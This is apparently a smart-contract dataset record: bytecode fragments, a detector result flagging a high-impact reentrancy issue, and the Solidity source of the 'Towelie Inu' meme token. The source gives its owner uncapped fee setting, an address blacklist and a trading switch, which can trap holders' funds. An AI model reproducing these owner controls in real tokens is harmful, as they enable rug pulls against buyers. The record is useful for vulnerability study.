5fd565b6001600160a01b038216610b335760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105fd565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bf85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105fd565b6001600160a01b038216610c5a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105fd565b60008111610cbc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105fd565b6000546001600160a01b03848116911614801590610ce857506000546001600160a01b03838116911614155b15610f8a57601554600160a01b900460ff16610d8c576001600160a01b03831660009081526011602052604090205460ff16610d8c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105fd565b601654811115610dde5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105fd565b6001600160a01b03831660009081526010602052604090205460ff16158015610e2057506001600160a01b03821660009081526010602052604090205460ff16155b610e785760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105fd565b6015546001600160a01b03838116911614610efd5760175481610e9a84610884565b610ea49190611b3f565b10610efd5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105fd565b6000610f0830610884565b601854601654919250821015908210610f215760165491505b808015610f385750601554600160a81b900460ff16155b8015610f5257506015546001600160a01b03868116911614155b8015610f675750601554600160b01b900460ff165b15610f8757610f758261118f565b478015610f8557610f85476110d1565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610fcc57506001600160a01b03831660009081526005602052604090205460ff165b80610ffe57506015546001600160a01b03858116911614801590610ffe57506015546001600160a01b03848116911614155b1561100b57506000611085565b6015546001600160a01b03858116911614801561103657506014546001600160a01b03848116911614155b1561104857600854600c55600954600d555b6015546001600160a01b03848116911614801561107357506014546001600160a01b03858116911614155b1561108557600a54600c55600b54600d555b61109184848484611334565b50505050565b600081848411156110bb5760405162461bcd60e51b81526004016105fd9190611a47565b5060006110c88486611b96565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561067c573d6000803e3d6000fd5b60006006548211156111725760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105fd565b600061117c611362565b90506111888382611385565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111e557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561123957600080fd5b505afa15801561124d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611271919061182a565b8160018151811061129257634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546112b89130911684610a70565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906112f1908590600090869030904290600401611acf565b600060405180830381600087803b15801561130b57600080fd5b505af115801561131f573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611341576113416113c7565b61134c8484846113f5565b8061109157611091600e54600c55600f54600d55565b600080600061136f6114ec565b909250905061137e8282611385565b9250505090565b600061118883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611530565b600c541580156113d75750600d54155b156113de57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806114078761155e565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061143990876115bb565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461146890866115fd565b6001600160a01b03891660009081526002602052604090205561148a8161165c565b61149484836116a6565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114d991815260200190565b60405180910390a3505050505050505050565b600654600090819069152d02c7e14af68000006115098282611385565b8210156115275750506006549269152d02c7e14af680000092509050565b90939092509050565b600081836115515760405162461bcd60e51b81526004016105fd9190611a47565b5060006110c88486611b57565b600080600080600080600080600061157b8a600c54600d546116ca565b925092509250600061158b611362565b9050600080600061159e8e87878761171f565b919e509c509a509598509396509194505050505091939550919395565b600061118883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611097565b60008061160a8385611b3f565b9050838110156111885760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105fd565b6000611666611362565b90506000611674838361176f565b3060009081526002602052604090205490915061169190826115fd565b30600090815260026020526040902055505050565b6006546116b390836115bb565b6006556007546116c390826115fd565b6007555050565b60008080806116e460646116de898961176f565b90611385565b905060006116f760646116de8a8961176f565b9050600061170f826117098b866115bb565b906115bb565b9992985090965090945050505050565b600080808061172e888661176f565b9050600061173c888761176f565b9050600061174a888861176f565b9050600061175c8261170986866115bb565b939b939a50919850919650505050505050565b60008261177e57506000610691565b600061178a8385611b77565b9050826117978583611b57565b146111885760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105fd565b80356117f981611bf4565b919050565b803580151581146117f957600080fd5b60006020828403121561181f578081fd5b813561118881611bf4565b60006020828403121561183b578081fd5b815161118881611bf4565b60008060408385031215611858578081fd5b823561186381611bf4565b9150602083013561187381611bf4565b809150509250929050565b600080600060608486031215611892578081fd5b833561189d81611bf4565b925060208401356118ad81611bf4565b929592945050506040919091013590565b600080604083850312156118d0578182fd5b82356118db81611bf4565b91506118e9602084016117fe565b90509250929050565b60008060408385031215611904578182fd5b823561190f81611bf4565b946020939093013593505050565b6000602080838503121561192f578182fd5b823567ffffffffffffffff80821115611946578384fd5b818501915085601f830112611959578384fd5b81358181111561196b5761196b611bde565b8060051b604051601f19603f8301168101818110858211171561199057611990611bde565b604052828152858101935084860182860187018a10156119ae578788fd5b8795505b838610156119d7576119c3816117ee565b8552600195909501949386019386016119b2565b5098975050505050505050565b6000602082840312156119f5578081fd5b611188826117fe565b600060208284031215611a0f578081fd5b5035919050565b60008060008060808587031215611a2b578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611a7357858101830151858201604001528201611a57565b81811115611a845783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611b1e5784516001600160a01b031683529383019391830191600101611af9565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b5257611b52611bc8565b500190565b600082611b7257634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b9157611b91611bc8565b500290565b600082821015611ba857611ba8611bc8565b500390565b6000600019821415611bc157611bc1611bc8565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461088157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cda5d1cff964489b6bc2c31418f8bacb50e0d5fe4f733f09643a8bf2c9996e2964736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 6,594 |
0x0f5fd62b8f2a2729d929ac2126edecfcb983bc3e
|
/**
*Submitted for verification at Etherscan.io on 2022-03-26
*/
/*
Telegram: https://t.me/TowelieInu
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TowelieInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Towelie Inu";
string private constant _symbol = "TINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 5;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 5;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x55EAf0aaBDB59EB721D93A26653864FC85840895);
address payable private _marketingAddress = payable(0x55EAf0aaBDB59EB721D93A26653864FC85840895);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 25000000 * 10**9;
uint256 public _maxWalletSize = 25000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610556578063dd62ed3e14610576578063ea1644d5146105bc578063f2fde38b146105dc57600080fd5b8063a2a957bb146104d1578063a9059cbb146104f1578063bfd7928414610511578063c3c8cd801461054157600080fd5b80638f70ccf7116100d15780638f70ccf71461044e5780638f9a55c01461046e57806395d89b411461048457806398a5c315146104b157600080fd5b80637d1db4a5146103ed5780637f2feddc146104035780638da5cb5b1461043057600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038357806370a0823114610398578063715018a6146103b857806374010ece146103cd57600080fd5b8063313ce5671461030757806349bd5a5e146103235780636b999053146103435780636d8aa8f81461036357600080fd5b80631694505e116101ab5780631694505e1461027457806318160ddd146102ac57806323b872dd146102d15780632fd689e3146102f157600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611960565b6105fc565b005b34801561020a57600080fd5b5060408051808201909152600b81526a546f77656c696520496e7560a81b60208201525b60405161023b9190611a25565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611a7a565b61069b565b604051901515815260200161023b565b34801561028057600080fd5b50601454610294906001600160a01b031681565b6040516001600160a01b03909116815260200161023b565b3480156102b857600080fd5b50670de0b6b3a76400005b60405190815260200161023b565b3480156102dd57600080fd5b506102646102ec366004611aa6565b6106b2565b3480156102fd57600080fd5b506102c360185481565b34801561031357600080fd5b506040516009815260200161023b565b34801561032f57600080fd5b50601554610294906001600160a01b031681565b34801561034f57600080fd5b506101fc61035e366004611ae7565b61071b565b34801561036f57600080fd5b506101fc61037e366004611b14565b610766565b34801561038f57600080fd5b506101fc6107ae565b3480156103a457600080fd5b506102c36103b3366004611ae7565b6107f9565b3480156103c457600080fd5b506101fc61081b565b3480156103d957600080fd5b506101fc6103e8366004611b2f565b61088f565b3480156103f957600080fd5b506102c360165481565b34801561040f57600080fd5b506102c361041e366004611ae7565b60116020526000908152604090205481565b34801561043c57600080fd5b506000546001600160a01b0316610294565b34801561045a57600080fd5b506101fc610469366004611b14565b6108be565b34801561047a57600080fd5b506102c360175481565b34801561049057600080fd5b5060408051808201909152600481526354494e5560e01b602082015261022e565b3480156104bd57600080fd5b506101fc6104cc366004611b2f565b610906565b3480156104dd57600080fd5b506101fc6104ec366004611b48565b610935565b3480156104fd57600080fd5b5061026461050c366004611a7a565b610973565b34801561051d57600080fd5b5061026461052c366004611ae7565b60106020526000908152604090205460ff1681565b34801561054d57600080fd5b506101fc610980565b34801561056257600080fd5b506101fc610571366004611b7a565b6109d4565b34801561058257600080fd5b506102c3610591366004611bfe565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c857600080fd5b506101fc6105d7366004611b2f565b610a75565b3480156105e857600080fd5b506101fc6105f7366004611ae7565b610aa4565b6000546001600160a01b0316331461062f5760405162461bcd60e51b815260040161062690611c37565b60405180910390fd5b60005b81518110156106975760016010600084848151811061065357610653611c6c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068f81611c98565b915050610632565b5050565b60006106a8338484610b8e565b5060015b92915050565b60006106bf848484610cb2565b610711843361070c85604051806060016040528060288152602001611db2602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ee565b610b8e565b5060019392505050565b6000546001600160a01b031633146107455760405162461bcd60e51b815260040161062690611c37565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107905760405162461bcd60e51b815260040161062690611c37565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e357506013546001600160a01b0316336001600160a01b0316145b6107ec57600080fd5b476107f681611228565b50565b6001600160a01b0381166000908152600260205260408120546106ac90611262565b6000546001600160a01b031633146108455760405162461bcd60e51b815260040161062690611c37565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b95760405162461bcd60e51b815260040161062690611c37565b601655565b6000546001600160a01b031633146108e85760405162461bcd60e51b815260040161062690611c37565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109305760405162461bcd60e51b815260040161062690611c37565b601855565b6000546001600160a01b0316331461095f5760405162461bcd60e51b815260040161062690611c37565b600893909355600a91909155600955600b55565b60006106a8338484610cb2565b6012546001600160a01b0316336001600160a01b031614806109b557506013546001600160a01b0316336001600160a01b0316145b6109be57600080fd5b60006109c9306107f9565b90506107f6816112e6565b6000546001600160a01b031633146109fe5760405162461bcd60e51b815260040161062690611c37565b60005b82811015610a6f578160056000868685818110610a2057610a20611c6c565b9050602002016020810190610a359190611ae7565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6781611c98565b915050610a01565b50505050565b6000546001600160a01b03163314610a9f5760405162461bcd60e51b815260040161062690611c37565b601755565b6000546001600160a01b03163314610ace5760405162461bcd60e51b815260040161062690611c37565b6001600160a01b038116610b335760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610626565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610626565b6001600160a01b038216610c515760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610626565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d165760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610626565b6001600160a01b038216610d785760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610626565b60008111610dda5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610626565b6000546001600160a01b03848116911614801590610e0657506000546001600160a01b03838116911614155b156110e757601554600160a01b900460ff16610e9f576000546001600160a01b03848116911614610e9f5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610626565b601654811115610ef15760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610626565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3357506001600160a01b03821660009081526010602052604090205460ff16155b610f8b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610626565b6015546001600160a01b038381169116146110105760175481610fad846107f9565b610fb79190611cb3565b106110105760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610626565b600061101b306107f9565b6018546016549192508210159082106110345760165491505b80801561104b5750601554600160a81b900460ff16155b801561106557506015546001600160a01b03868116911614155b801561107a5750601554600160b01b900460ff165b801561109f57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c457506001600160a01b03841660009081526005602052604090205460ff16155b156110e4576110d2826112e6565b4780156110e2576110e247611228565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112957506001600160a01b03831660009081526005602052604090205460ff165b8061115b57506015546001600160a01b0385811691161480159061115b57506015546001600160a01b03848116911614155b15611168575060006111e2565b6015546001600160a01b03858116911614801561119357506014546001600160a01b03848116911614155b156111a557600854600c55600954600d555b6015546001600160a01b0384811691161480156111d057506014546001600160a01b03858116911614155b156111e257600a54600c55600b54600d555b610a6f8484848461146f565b600081848411156112125760405162461bcd60e51b81526004016106269190611a25565b50600061121f8486611ccb565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610697573d6000803e3d6000fd5b60006006548211156112c95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610626565b60006112d361149d565b90506112df83826114c0565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132e5761132e611c6c565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138257600080fd5b505afa158015611396573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ba9190611ce2565b816001815181106113cd576113cd611c6c565b6001600160a01b0392831660209182029290920101526014546113f39130911684610b8e565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142c908590600090869030904290600401611cff565b600060405180830381600087803b15801561144657600080fd5b505af115801561145a573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147c5761147c611502565b611487848484611530565b80610a6f57610a6f600e54600c55600f5460